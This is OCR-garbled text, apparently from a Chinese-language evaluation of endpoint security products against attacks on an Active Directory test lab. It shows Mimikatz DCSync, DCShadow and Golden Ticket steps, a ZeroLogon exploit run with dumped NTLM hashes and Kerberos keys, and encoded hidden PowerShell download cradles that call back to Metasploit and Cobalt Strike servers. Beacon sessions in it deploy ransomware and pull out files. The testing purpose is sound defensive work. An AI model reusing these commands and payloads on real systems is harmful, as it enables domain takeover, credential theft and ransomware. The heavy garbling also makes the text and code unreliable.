mimikatz # pri

3. Isadump::dcsync /domain:company.local /user:Adminis1 : B~{% ¢ * —g T

fdminisl

DONT_EXPIRE_PAZEWT )

-1110

h7 )
07a1f1
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|3 4 > BB i B2 0 4R DC & (748 W iv - Rt &P kibtgt
He gL NTLM f2i2 & SID » it Fu - 5t f

& 4 ¢0 Golden Ticket i% i3

7%




(= )DCShadow

1. 3raE @ * ﬁl - B ~ Configuration 4 F e

2. privilege::debug : P& T ",f% e B g Bor [privilege::debug] Privilege
"20'OK > # 71 H#E*Le & FETt o

process::runp : B kx— i #7 PowerShell 4L % I %K mimikatz 4 *3>DCShadow 3

25 BRFTET > - BRERPRE- BT44 (4B » AD Bit)-

htt b
Vincent LE

HT AUT]




3.1sadump::dcshadow/object:"CN=Adminis1,CN=Users,DC=company,DC=local"

/attribute:description /value:"attacker" : % F_in & { 2z AD $ 2 ~ FHib 228 B

2.

HE s X § 2 TR~ > B L AE# X4 B payload -

2/ mimikatz 2.2.0 x64 (oe.ec) = [m] X

4.lsadump::dcshadow /push: f§% AD #F B & (v B2 mn B F e { FH I3 >
T € WH- B R p TFakeDC v AD 4 B & (# * DRS fé’eﬁ;)%%# r¥ el DRS

RPC (4 DRSReplicaAdd ) » DCShadow = i % & 45 s/t (4 description) %

5. B i MR Y H h e AR {3



FPET: #F A 35
i * 1 2 ! Golden Ticket
1. mimikatz & * DCSync sT# jEP~en krbtgt k3L NTLM 325222 SID » %6

" Fdp 42 2 Golden Ticket » 312 p R 5423 » L3¢5 cefpt? (Pass-the-

Ticket )

2. & CMD * %?J ~ dir \DC-01.company.local\C$ » P32 E_F = 74 3Bl 4| B

ARBEE S EV AH AN PN E 0 TN 4L GoldenTicket & mxbE 74 sk B

29



52 & SacRA o Rl
52.1 TP-ACL(f# 4 i )

pLRIZE P o2V * ZeroLogon B~E R 2 R A% 0 I * wmiexec.py fr smbexec.py

F_‘-

TR A ® I > LR TP-ACL hf o 3 i #5455

)

ZeroLogon : #_— B 7% %*" Microsoft Netlogon fR7%? ehdE + % 2iFF » B I V%
. % CVE-2020-1472 -

7

13

—\

- ~ ZeroLogon §

[~/ad-PC-SEC/CVE-2020-1472]
1 192.168.10.11
D01ng NBT name scan for addresses from 192.168.10.11

IP address NetBIOS Name Server User MAC address

192.168.10.11 WINTERFELL <server> <unknown> bc:24:11:77:37:6¢C

[~/ad-PC-SEC/CVE-2020-1472 |
cve-2020- 1472 exploit.py WINTERFELL 192.168.
rmlng authentication attempts."

Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

~/ad PC-SEC/CVE-2020-1472
0192.168.10.11 -c ) 192.168.10.11
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: @x5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13elcke338284acke9874F7debefs 1t
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0 :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7e280cd39435272be57¢296f8aal57f
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51F71d913¢245d35b50
cloudbase-init:1001:aad3b435b51404eeaad3b435b51404ee:af1731543de@b8eb1d0@bclaedfbd51a7:::
arya.stark:1111:aad3b435b51404eeaad3b435b51404ee:41622F4cd4284a887228940e2ff4e709 ¢
eddard.stark:1112:aad3b435b51404eeaad3b435b51404ee:d977b98c6¢c9282c5¢c478be1d97b237b8
catelyn.stark:1113:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949¢73bc73715364aff
robb.stark:1114:aad3b435b51404ecaad3b435b51404ee:831486ac7f26860c9e2f51ac91elad7a:
sansa.stark:1115:aad3b435b51404eeaad3b435b51404ee:b777555¢c2e2e3716e075cc255b26¢c14d
brandon.stark:1116:aad3b435b51404eeaad3b435b51404ee:84bbaalc58b7f69d2192560a3f93212
rickon.stark:1117:aad3b435b51404eeaad3b435b51404ee:7978dc8ab6d8e480d9a86041f8409560
hodor:1118:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525¢e :::
jon.snow:1119:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3cch1755:::
samwell.tarly:1120:aad3b435b51404eeaad3b435b51404ee: f5db9e027ef824d029262068ac826843 :::
jeor.mormont:1121:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40€56691a723a49664 :::
sql_svc:1122:aad3b435b51404eeaad3b435b51404ee:84a50921533902a48d660be52b93b804 :::
WINTERFELL$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢59d7e0c@89¢0 :::
CASTELBLACK$:1106:aad3b435b51404eeaad3b435b51404ee:0f7dab84febf65cff54efe@dca8bbazf :::
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee: chcba048d5ble3db28elbdasbcc2fabb
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:ec9ad6fa2d84fd4515a8636116b93a79f970b01b938e701263a18346d57c8d18
Administrator:aesl128-cts-hmac-shal-96:628fa331fbcbe93204b40b881a%4ael2
Administrator:des-cbc-md5:6bb9c8ed83bfb6ea
krbtgt:aes256-cts-hmac-shal-96:e2e3c5e7f2c6c19c4344edeb5ff980179974095388dee9faldb70e69ch7196a9
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Z ~ & % wmiexec.py fv smbexec.py it {7 # v 5 # R

l.wmiexec.py = smbexec.py ** #&

T A I hie s JR B

Windows Management B A S T e 4k WMI B 3544 2
wmiexec.py | Instrumentation (WMI) %
BB AR ERAITE S

{# F Server Message Block [{£#H SMB & » & | 7T
smbexec.py |(SMB) i€ REFEMRAK | F R~ Kz
EHRITEL

.

% SMB H 3:{8 8]

=
&
=l

2.wmiexec.py fv smbexec.py 7 1

ad-PC-SEC/CVE-2020-1472
north/eddard.stark:@192.168.10.11 ) 192.168.10.11 - aad3b435b51404eeaad3b435b5140. d977b98c6c9282c5¢c478bel
d97b237b8
Impacket v@.12.8 - Copyright Fortra, LLC and its affiliated companies

] SMBv3.0 dialect used
1] Launching semi-interactive shell - Careful what you execute
] Press help for extra shell commands

~/ad-PC-SEC/CVE-2020-1472
north/eddard.stark:@192.168.10.11 192.168.10.11 | aad3b435b51404eeaad3 0 d977b98c6c9282c5c478b
d97b237b8
Impacket v0.12.8 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

Windows\system32>J]

PC-ACL B & 2 B enfi-in™ £ F 7 0 5 seenfe 3 B & 4250

(I)wmiexec.py 3% {7 — Metasploit - meterpreter(# B £ TP-ACL)

~/ad-PC-SEC
= north/eddar rk:'F ceAndHonor! '@192.168.10.22 192.168.10.11
Impacket v@.11.8 - Copyright

ell - Careful what you execute
extra shell commands
-nop -w hidden -e WwBOAGUAJAAUAFMAZQBYAHYAaQBjAGUAUABVAGKAbEBOAEOA UAGEAZWB1AHI ABADOAUWBTAGMAdQBYAGKAdABSAFAACEBVAHQ
BLAHQALgBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMADWBSAFQAeQBWAGUAXQAGADOAVABSAHMAMQAYADSAJABGAFgAdgBWADCAPQBUAGUAdWALAGBAYEB
qAGUAYwWBOACAAbgB1AHQALEB3AGUAYEB JAGWAaQB1AG4AdAATAGKAZEAOAF SAUWBSAHMAJABLAGOALEBOAGUAJAAUAFCAZQBIAFAACE e g HAGUAJABEAGUAZgBhAHU
gAeQA0ACKALEBhAGQAZABYAGUACWBZACAALQBUAGUATAAKAGAA 3 eAB L 3 L c BiAFIAZQB
AGADOARWBLAHQAUWBSAHMAJABLAGOAVWBLAGIAUABYAGBAEABS. G ILAG DAGEAbABzADO
AWwBOAGUAJAAUAEMACEBLAGQAZQBUAHQAAQBhAGWAQWBhAGMAAABLAFOADSAGAEQAZQBMAGEA Z (AAOAG4LAZQB
3ACOAbwBiAGOAZQBjAHQATABOAGUAdAAUAFcAZ(OBiAEMADABpPAGUAbgBOAC
AOAAUADEAMAAUAD /
1AGOAZQBjAHQATABOAGUAdAAUAFCAZQBiAEMADABPAGUAbEBOACKALgBEAGBAdwBUAGWADWBhAGQAUWBBAHIAaQBUAGCAKAANAGEAJABOAHAAOZAVACBAMQASADIALgAXADYAOAAUADE
AMAAUADCAOgA4ADAADAAWACBAUEBYADTAawBSAETANWASAGEAREA2ZADKAWAANACKAKQA7AA=
fi< CLIXM

192.168.10.22 web_delivery - Delivering AMSI Bypass (1396 bytes)

192.168.10.22 web_delivery - Delivering Payload (3725 bytes)

Sending stage (2038u6 bytes) to 192.168.10.22

Meterpreter session 1 opened (192.168.10.7:8888 —> 192.168.160.22:52917) at 2025-03-09 13:20:25 +0800

72w
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(2)wmiexec.py 34 {7 - Metasploit - meterpreter(# £z TP-ACL)

/ad-PC-SEC/CVE-2020-1472
north/eddard.stark:9192.168.10.11 192.168.10.11 aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282¢5¢478bel
d97b237b8
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!]

G

*
1
1

Press help for extra shell commands

>powershell.exe -nop -w hidden -e WwBOAGUAdAAUAFMAZQBYAHYAaQBjAGUAUABVAGKAbgBOAEOAYQBUAGEAZWBLAHIAXQAG6ADOAUWBTAGMAdQBYAGKAdABSAFAACEBVAHQ
AbwBJAGBADAASAFSA LAHQALgBTAGUAYwWB1AHIAaQBOAHKAUABYAGBAdABVAGMADWBSAFQAeQBWAGUAXQABADOAVABSAHMAMQAYADSAJAB2ADUADWA3ADOADEBLAHCALQBVAGIAagE
TAGMAAAAG4AZQBOACLAdWBLAGIAYWBSAGKAZQBUAHQAOWBpAGYAKABbAFMAeQBZAHQAZQBtAC4ATgB1AHQALEBXAGUAYgBQAHIAbWB4AHKAXQAGADOARWBTAHQARABLAGYAYQB1AGW
AdABQAHIAbwB4AHKAKAAPAC4AYQBKAGQACEBLAHMACWAEACOAbEBTACAAIABUAHUADABSACKAEWAKAHYANQBVADC wAHIAbwB4AHKAPQBbAE4AZQBOACLAVWBLAGIAUEBLAHEAdQB
1AHMAdABdADOAOgBHAGUAJABTAHKACWBOAGUADQBXAGUAYZBQ AHKAKAApADSAJAB2ADUAbWA3AC4AUABYAGBAeABSACHAQWBYAGUAZABLAG4AJABPAGEADABZADOAWWBOAGU
AdAAUAEMACgBLAGQAZQBUAHQAaQBhAGWAQWBhAGMAZABLAFOAOZAGAEQ BmAGEAdQBSAHQA GU. BlAG4AdABPAGEADABZADSAFQATAEKARQBYACAAKAADAGAAZQB3ACOADWB
1AGoAZQBjAHQATABOAGUAJAAUAFCAZQBiAEMADABPAGUADEBOACKALEBEAGBAdWBUAGWADWBhAGQAU HIAaQBUAGCAKAANAGZAdABOAHAAOZAVACBAMQASADIALEAXADYAQAAUADE
AMAAUADCAOZA4ADAAOAAWACBAUWBUAGOAQEB3AGQACWBFAFYAVAB1AGKALWB2AECASQA4AEYAUWBKACCAKQAPADSASQBFAFEATAACACEAbEBLAHCALQBVAGIAagBl AGMAJAAZAE4AZQB
OAC4AVWBLAGIAQWBSAGKAZQBUAHQAKQAUAEQADWB3AG4ADABVAGEAZABTAHQACEBPAGAAZWAOACCAAABOAHQACAAGACBALWAXADKAMEAUADEANEA 4AMQAWAC4HANWABADZAMAALADA
ALWBTAFQAbQBCAHC BzAEUAVgBUAGIAAQANACKAKQATAA=

#< CLIXML

vexit

msf6 exploit( )
192.168.10.11 web_delivery - Delivering AMSI Bypass (13 bytes)
192.168.10. web_delivery - Delivering Payload (3726 bytes)
Sending s 203846 bytes) to 192.168.10.11
Failed to load extension: No response was received to the core_enumextcmd request.
Failed to load extension: No response was received to the core_enumextcmd request.
192.168.10.11 - Meterpreter session 1 closed. Reason: Died

(3)wmiexec.py 4 i — Cobalt Strike (http deliver stageless)(#& B ¥c TP-ACL)

~/ad-PC-SEC
: north/eddard.stark:'Fig or ! '9192.168.10.22
Impacket v0.11.0 - Copyright 2 Fortra

[+] SMBv3.0 dialect
[!] Launching m erac - ell - Careful what you execute
] Press help for extra shell command
-nop -w hidden - 3 g, 0 AbgBLAHCALQBVAGTAagBlAGMAdAASAGLAZBOACLAdWBTAGTAYWBSAGKAZQBUAHQAKQAUAGQAbWB3AGLADABVAGE
A0ACCAaABOAHQACAAB wAxADk AUADEANZALACLAMQAWACH AN DgAMAAVAGEAJWApPACKA

user compu... note process | pid arch last sleep
1 minute

Eventlog X Listeners X Sites X

eddard.stark 02,16 ( AﬁTtLBLArK)

[03/69 17:04] neo [TeamServer IP: 192,168.10,7 | Beacons: 1 | lag: 08]

7 C2 = w il
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(4)wmiexec.py 34 {7 — Cobalt Strike (http deliver stageless)(® £ TP-ACL)

~/ad-PC-SEC/CVE-2020-1472
north/eddard.stark 92.168.10.11 ) 192.168.10.11 aad3b435b51404eeaad3b435b51404ee:d377b98c6c9282¢c5¢47Bbel

et v0.12.0 - Copyright Fortra, LLC and its affiliated companies

SMBv3.0 dialect used

Launching semi-interactive shell - Careful what you execute

Press help for e: shell commands

>powershell.exe -nop -w hidden -e SQBFAFgAIAA0ACgADgBLAHcALQBVAGIAagBlAGMAdAAGAGAAZQBOACAAdWBLAGIAYWESAGKAZQBUAHQAKQAUAGQAbWB3AG4ADABVAGE

BzAHQACEBPAG4AZWAOACCAQABOAHQACAABACBALWAXADKAMZAUADEANEALACHAMQAWACHANWABADEAMAAVAGEA JWAPACKA
CLIXML

(5)smbexec.py # 7 — Metasploit - meterpreter(# B £z TP-ACL)

[~/ad-PC-SEC
north/eddard.star ightP3aceAndHonor!'Q192.168.10.22 -d 192.168.10.11
Impacket v@.11.0 - Copyright 20 Fort

nteractive shell - Careful what you cute
powershell.exe -nop -w hidden -e WwBOAGUAdAAUAFMAZQBYAHYAaQBjAGUAUABVAGKADgBRAER@AYQBUAGEAZWB1AHIAXQAGADOAUWB1AGMAdQBYAGK
)l\GcAb»«AqAF';ATQ,BLAHQALHBTA”VAYWBIAHIABQBUA UAByAGBAJABVAGMAbwBSAFQAeQBWAGUAXQABADOAVABSAHMAMQAYADSAJABSAGOARABFAECAPQB
B AGUAY HE]AGwI«dOBlAGHAdﬂA"ﬂGkAL?ﬂUAF‘ WBSAHMAdABL ALgBOAGUAJAAUAFCAZQBIAFAACEBVAHEAeQBAADOAOEBHAGU
4AdQBSAGWAKQB7ACQAeQBgAEQARQBHACAACABYAGBAeABSADDAWWBOAGUAdAA
AZQB ‘AHUAN’B.AH”A‘QA&ADOAP E‘.lAHQAUWE‘EAHHQGAEIAGOAVWBIﬂbIAUAEyAuSlAHABSA gAKQA7ACQAe(QBgAEQARQBHAC4AUABYAGBAeABSAC4AQWBYAGUAZABLAGH
F\d»\bpi—\ AbABZzADOAWWBOAGUAJAAUAEMACEBLAI QBUAHQAaQBhAGWAQWBhAGMAaABLAFQAOZABAEQ BmMAGEAJQBSAHQ Y UA._ABLAG“AC;ABDA(]EA'JAB AD:v-\an AEkARt‘B

AA(:AGA OBxALOAth'lq )AZQB)AHQAIABOAGUA(}A )l g IJABpAu l\h’BﬂN’kALgE

192.168.10.22 web_delivery - Delivering AMSI Bypass (1383 bytes)

192.168.10.22 web_delivery - Delivering Payload (3724 bytes)

Sending stage (2038u6 bytes) to 192.168.10.22

Meterpreter session 2 opened (192.168. .7:8888 —> 192.168.10.22:52970) at 2025-03-09 14:56:29 +0800

4 C2 Axwid
(6)smbexec.py 4 7 — Metasploit - meterpreter( B £x TP-ACL)

| [ ~/ad-PC-SEC/CVE-2020-1472

t ¢ north/eddard.stark:@192.168.10.11 192.168.10.11 aad3b435b51404eeaad3b435b51404 977b98c6c9282c5¢c478bel
d97b237b8
Impacket v@.12.0 - Copyright Fortra, LLC and its affiliated companies

[‘] Launching semi interactive ahwll - Cnr.ful what you execute
UAdAAUAFMAZQBYAHYA2QB JAGUAUABVAGKADEBOAERAYQBUAGEAZWBTAHIAXQAGADOAUWBAGMAdQBYAGK
AdABSAFAA :4:3 »"AHLJ'XE]\'I A 9 S ‘B'll\HQ/\ngBTAGLII-'«\ B1AHIAaQBOAHKAUABYAGBAdABVAGMAbwBSAFQAeQBWAGUAXQAGADOAVABSAHMAMQAY ;r\JA\E‘ADUI\b\.‘A)i\DUnbL’

IAHCALQBVAK AagBLAGMAdAAgAGLAZOBOAC4AdWBLAGTAYwWBSAGKAZQBUAHQAOWBPAGYAKABDAFMACQBZAHQAZQB ATgB1AHQALg GUAYgBQAHTAbwB4AHKAXQAGADOARWBLAHQ

ARABLAGYAYQB1AGWAdABQAHIAbwB4AHKAI ApAU«A\"QBkAGOA(gBlAHl-‘!A(NAgACDL'\bgB'U AAJABUAHUAD ewAkAHYANQBVAD gBWAHTIAbwB! HkAPLEbAEhALDE‘BAC’AVWB
AGIAUgBLAHEAdQBLAHMAJABAADOAOEBHAGUAdABTAHKA
DOAWWBOAGUAdAAUAEMACEBLAGQAZQBUAHQAaQBh

0AG4AZOB3ACOAbWB1AGOAZOBJAHQATABOAGUAdAAUAFCAZQ gB € g i aQBuAGCAKAANAGEAdABBAHAAOgAVACBAMOASADT

ALgAXADYADAAUADEAMAAUADCAOgA4ADAADAAWACBAUWBUAGROAQE AQQALWBFAFVAVABlAGK#.L\'JBJAHASQA"-AE\‘A CAKQAPADSASQBFAFgATAAOACEAbEBLAHCALOQBVAGIAagE

TAGMAJAAEAE4AZQBOAC4AVWBLAGIAQWE kAZQBUAHQAKQAUAEQADWB3AG4ADABVAGEAZABTAHQACEBPAG4AZWAOACCAaABOAHQACAAGACSALWAXADKAMEAUADEANEALACLAMQAWACH

HCAZABZAEUAVEBUAGIAaQANACKAKQA7A
00043 - STATUS_SHARING_VIOLATION - A file cannot be opened because the share access flags are incompatible.

(7)smbexec.py # 7 — Cobalt Strike(http deliver stageless)(#& B £ TP-ACL)

~/ad-PC-SEC]
north/eddard.stark: 'F

Impacket v0.11.0 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute

Windows\system32>powershell.exe -nop -w hidden -e SQBFAFgAIAA0ACgAbEB1AHCALQBVAGIAagBlAGMAdAAgAG4AZQBOACLADWBLAGIAYWBSAG AHQAKQAUAGQ
AbwB3AG4ADABVAGEAZABZzAHQACgBpAG4AZWAOACCAAABOAHQACAABACBALWAXADKAMgAUADEANGALACLAMQAWACSANWAGADEAMAAVAGEA JWApACKA
[-] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)
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7 Cobalt Strike
Cobalt Strike View Payloads Attacks Site Management Reporting Help
@O R <=0 —~acamn

external inter... ~ listener user computer note process pid arch |last sleep

v+

_= 192.168.10.22 192.16... default.. SYSTE.. CASTELBLACK paowershell.exe 2740  x64 36s

Eventlog X Listeners X Sites X

eddard.s 68.10.22 (CASTELBLACK)
eddard.stark 10.11 (WINTERFELL)
eddard.stark 10.11 (WINTERFELL)
E (WINTERFELL)
(WINTERFELL)
(CASTELBLACK)

[TeamServer IP: 192.168,10.7 | Beacons: 1 | lag: 00]

4 C2 2w

(8)smbexec.py #4 {7 — Cobalt Strike (http deliver stageless)(# £x TP-ACL)

~/ad-PC-SEC/CVE-2020-1472
north/eddard.stark:m192.168.10.11 -¢ 192.168.10.11 -has aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5¢c478bel

d97b237b8
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi eractive shell - Careful what you execute

C:\Windows\system3 ershell.exe -nop -w hidden -e SQBFAFgATAA0ACEAbgBlAHCALQBVAGIAagBl1AGMAJAAGAGAAZ(OBBACLAIWBTAGIAYWBSAGKAZQBUAHQAKQAUAGQ
AbwB3AG4AbABVAGEAZABZAHQACEBPAGAAZWAOACCAaABOAHQACAAGACSALWAXADKAMEAUADEANEA4ACHAMOAWACLANWABADEAMAAVAGEA JWAPACKA

[-] SMB SessionError: code: @xc@000043 STATUS_SHARING_VIOLATION - A file cannot be opened because the share access flags are incompatible.

#£ C2 *xwid

|

i

= ~ wmiexec.py fr smbexec.py BliE % % &

e wmiexec.py

Delivery Method TP-ACL# f& C2 Callback &
Metasploit meterpreter K ELH R B JE
Metasploit meterpreter EELA 2 E R
CobaltStrike(http deliver stageless) | FELFA AR E e
CobaltStrike(http deliver stageless) = £k

e smbexec.py

Delivery Method TP-ACLjk #& C2 Callback & £
Metasploit meterpreter RELH %) B e
Metasploit meterpreter =8 &=k
CobaltStrike(http deliver stageless) | &£ A R E
CobaltStrike(http deliver stageless) CELA £ &
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522 TP-CFA(X F 7 & ¢ 32)

o TP
7 CFA T W FH 2 #H¥ L r 22/ (RAT-# 2 53 ) i plere
o FEWP
¥obo FIARRETE S ZE AMP real-timeprotection GFIRT > R F LI R A o
T B Defender thir & $84] ¢ B L TH » B HFRE X3 £ ¥ % Microsoft

Defender for Endpoint P2 #¢ B % = o it i B TURIFEH-:S Rpganie * 135 -

o &% 1 B PP ITHFAR
1.Typical RAT tools (Backdoor) » 4r:Metasploit ~ Cobalt Strike

2.0pen Source Tools > 4r: Prince Ransomware

Typical RAT Tools (Backdoor)

TARGET: Windows OA

Get
3 1. Victim s important Data i

Wetasploit Local User in Windows OA Computer
=Y Compromise

TARGET: Windows OA

Gel
1. Domain User Shell

Phishing N-click
Backdoor

Open Source Tools
e CFA Protect
TARGET: Windows OA Enable

Get:
1. Victim 's important Data

Prince
Ransomeware

35



— ~ Typical RAT Tools
(- ) CFA i3 # it |3 -Cobalt Strike(*+ & FAL % ¢ 2 %)

OESrESy =N FIESS ERL

beacon> upload

*] Tasked beacon to upload shome/kali/Prince-ransomeware/Prince-Built.exe as Prince-Built.exe

[!] Unable to add task of 260124 bytes as it is over the available size of 1984 bytes. 7 task(s) on hold until next checkin.
[+] host called home, sent

Current directory is C:\Use ser\Desktop\Target Data
[!] Unable add task of 260124 bytes as it is over the available size of 8080 bytes. 3 task(s) on hold until next checkin
[+] host called home, sent: 1040496 bytes
[+] host called home, sent: 585300 bytes

(2)5 % = % -hash +* %
o R4

~/Prince-ransomeware
Prince-Built.exe
7cee417dc868197339a347f61b410183¢c88490437cdde3f3184b582¢ceb231clc Prince-Built.exe

e Victim

PS C:\Users\user\Desktop\Target Data> certutil .\Prince-Built.exe sha256
SHA256 hash of .\Prince-Built.exe:
7ceed17dc868197339a347f61b410183c88490437cdde3f3184b582ceb231clc

ertUtil: -hashfile command completed successfully.

% %% B+ ¢ Cobalt Strike ¥ 12 # Prince-Built.exe + @ I X jp|2 ¢ CFA %

Q‘X‘

EFHEAP PR REE - R N AMEARPL N2 c o CFA H8E L B (7

(= ) CFA %3 # it Bl:# -Cobalt Strike(™ PR 2R %)

beacon> 1s

[*] Tasked beacon to List files in .

[+] host called home, sent: 60 bytes

[*] Listing: C:\Users\user\Desktop\Target-Data\

Size Type Last Modified Name

12kb fil 04/17/2025 14:53:09 important-image.jpg.tpf

beacon> download important-image.jpg.tpf

[*] Tasked beacon to download important-image.jpg.tpf

[+] host called home, sent: 31 bytes

[*] started download of C:\Users\user\Desktop\Target-Data\important-image.jpg.tpf (12944 bytes)
[*] download of important-image.jpg.tpf is complete




(2)5 % & % -hash +* %

ser> c¢d .\Desktop\Target-Data\
user\Desktop\Target-Data> certutil .\important-image.jpg.tpf sha256

\imnortant-image _-dine_tnf:

7‘4553‘1598bfbb9d59940d96/dﬂcH“E

e Victim

~/CobaltStrike4.8/Server/downloads

R L

c05e0dd44689a20e39372455af1d90bcbb5da0046d0e7d4e990499a17¢c25¢c8b1 1

(= ) CFA %3 # it B3¢ -8 * Metasploit - meterpreter
(D7 < % 2 ¢ off & (important-image.jpg.tpf)

meterpreter > download important-image.jpg.tpf

Downloading: important-image.jpg.tpf — /home/kali/important-image.jpg.tp
f

Downloaded 12.64 KiB of 12.64 KiB (100.0%): important-image.jpg.tpf — /h
ome/kali/important-image. jpg.tpf

Completed : important-image.jpg.tpf — /home/kali/important-image.jpg.tp

\important-image.jpg.tpf sha256

\ imn r'1'.=tn1--'|rr=n:r.— ing t
55af1d99bcbb5dad046de

asi ‘;r_ (ST TR Y] -\..||.J.-.".u SULLC IS TULLY »
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e msfconsole

kali@kali: ~

File Actions Edit View Help

390499a17 bl important-i

FEESkT chash E4pf » T4 ’é_@ﬁa?]@%i#\iﬁ CFA 3 EQ:EW"J‘%F " K

}§

o,

v i5 1 Metasploit p CFA HZE T4 & %E’&Ilj;{%ﬁf%%} M AALTESE o

~m

-

= ~ Open Source Tools-Prince Ransomware
(- ) #*%¥pFRE
(1) OneDrive ™ §* & & B 54

I = - e @@

<

e Compressed Foider Tools hoA RRERD R 158 b an i -l B8
I Harse Shase plecio Biyact 1 B3 Prince-Ransomware-main.zip - ZIP A8, #3124~ 5,205,616 (7T
* 4 &> ThisPC > Downloads v Ol am Aol LT LY iEeasuB
Music ol Name Date modified . File folder
S_— 8- Decryptor-Built.... 2,623,488 1,144 307 Application 5/13/2025 5:26 ...
Target Data B3 TPInstaller . 13PN e o 2 i
rince-Built.exe 2,672,128 1,163,810 Application 5/13/2025 5:26 ...
Videos M Wireshark-4.2.2-x64 4/14/2025 P
i B2 wub_vi.8 4/14/2025 5:08 P
n Prince-Ransomware-infected
his PC 3 Prince-Ransomware-main 5/13/2025 5:29 P

3D Objects v <
1 item selected 2.20 MB

O ki Name Modified

o =  Prince-Ransomware-infected.rar -~ & May 19

()it * ‘ﬁu‘\ OneDrive ¥ B~ RS T HHET >R PIEA T F L 87> g3

o 24 CFA RZ ¥V &

Name Date modified Type
| Decryption Instructions 5/28/20257:33 AM  Text Document
| important-image.jpg.tpf.prince 5/28/2025 7:32 AM PRINCE File
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(=) ER& C2#F (Cobalt Strike)
(17 Cobealt Strike 7 Beacon /i m % 1 ehip 4 > & Figs R T 28+ e Beacon:

17 Prince-Built.exe ¥ % 54 17 4%

beacon> execute Prince-Built.exe

[*] Tasked beacon to execute: Prince-Built.exe
[+] host called home, sent: 24 bytes

(28 CFA ¥2 . p# R pl84c (75 877 » B2

Share View
> ThisPC > Desktop > Target Data v O Search Target Data
lame Date modified Type Size

Decryption Instructions
important-image.jpg.tpf.prince 5/28/202511:08 AM  PRINCE File 3 KB

(85| Prince-Built 28/2025 9:06 AM

R

BT A HBETERS? CFA & T # 5 %
Cobalt Strike - upload = %
Cobalt Strike - download i &
Metasploit - meterpreter download 2z =
Prince Ransomware —{& A # B 4T #4T 2 5
Prince Ransomware — 2 & C234T (CobaltStrike) x

7 =]

BRI AR CFA H A & LA e S (o e B TR R B

(s

TRGEIESE WM ALY AT P H R R SR R TG R
7 5o F R AR R, 7 2L H B 3P4 % & 4945 Smartscreen &2

Frenit 3 a4t 0 3 P e E R FERE G B AsTE
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5.2.3 PC-SEC Caldera APT29 |3

AR HT MBS N =2 Active Directory £2 MITRE Caldera 2.:= % » ¥ & Caldera
T LT Lt emu B2 UB-{E APT29 Apfd TTP o Wffs il N 2 & B30 %
agents > FH kAL IDE T 5 Alive {8 > KR T IHF o d L e BEYP R LB FTRIE o

BlER %

% splunkd.exe A4 » v LH > A2 BN LEREEHGF

e]::WriteAllBytes( ) | Out-Null; -Pr S C:\Users\Public\splun

hidden;bheG

ferd LHS O T AHTINE Agent 3 4 0 TR (8 ot AR

TPACL v1.75.0.0 - X

W37 Serverili®: 1073072025 3:30:28 PM
TP Click & Check &

& FAEYWindowsl
1B A Office ~ Chrome BILINE FEEPH BEANYY g uses I

= FEFRIRSN 2
1 chrome exe
2 Taskmgr exe

:
LY
>

¥y B Y B 320

H
.Headers.add(

:iWriteAllBytes(
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® 2% PC-SEC |7 #E %t

Status Ability Name Tactic

Status Tactic
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Chapter 6 2% ¥#=3%

A3 BOE Y Active Directory #-% ' UsaH4a s St p R L IR ¢ = R
Arde T H S B ERRE B PUE Y S tRELAF B T Golden Ticket ##F A it 45415 § B s
B> 7 8 £ Purple Knight ~ BloodHound ~ Mimikatz ~ Impacket £ i# (wmiexec.py *
smbexec.py) /4 % DCSync/DCShadow # 3ji > § "Z S sc F f dofm d - SR 5L
T Domain Admin o 5B F (FEAZ > 2P { AcIDfR L PR BT H AT kAR ch
BigiE oz AD E'UEE ACL fed 7 § 577 s & Renh % o

B s o kT3 1 E 42 TP-ACL ~ TP-CFA ¢ PC-SEC % 2 & % Bl 4

Er

F_‘-

foo 2 BHED B FFRE TR o TP-ACL % ZeroLogon # fiz wmiexec.py /
smbexec.py R e A EPEEY 0 ap FORIEFE AR LF ARSI GT o Ko e LHZ
AT AR C2 AT B R ARSI REF R ok o a2 T

TP-CFA f 4= @& * RAT £ Prince Ransomware 2 |3 ¢ » $f30 £ g FAL & en

3

TR b TR T AR PHEEE L E AR

Smartscreen/ " P [ Sk chik 4 v 3 B - A FE R o 33 PCSEC %

R

Caldera APT29 Jjil & 2 pl:2 i % RIBF+ > i £ v £ H % 2245 > PC-SEC & &

-

SCHF L T g5t TTP endh 70 8 MOETRE 7 I & 5 6 % o

GES T

o4
ey

EBRE W FhrBREBAL IR T TR LT OLEESF -
BT E AL A o ROV AHT 2 p RS ERE T AT o

T SRR G R AR S H SRR S
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I Pl

i (Bag)

4 & TP-SEC #in

S i

Ha ey USB (HID 4 %)

TP-USBG

1R TRE & s B AR SEAE | 3B B PRER B A

2 |RDP % %45 TP-RDP (+ MFA) KRR BB BHEE + % MFA

3 |4 X Al 4 & + Follina TPACL (A XSG 2 E) ;\[:IFE;ORD,EXE — msdl.exe FF 78 £ 4k of o 31

4 |RgtrikmE (#E) TP-File (%)% $apr3) Bkt E P BES  ERBEREER

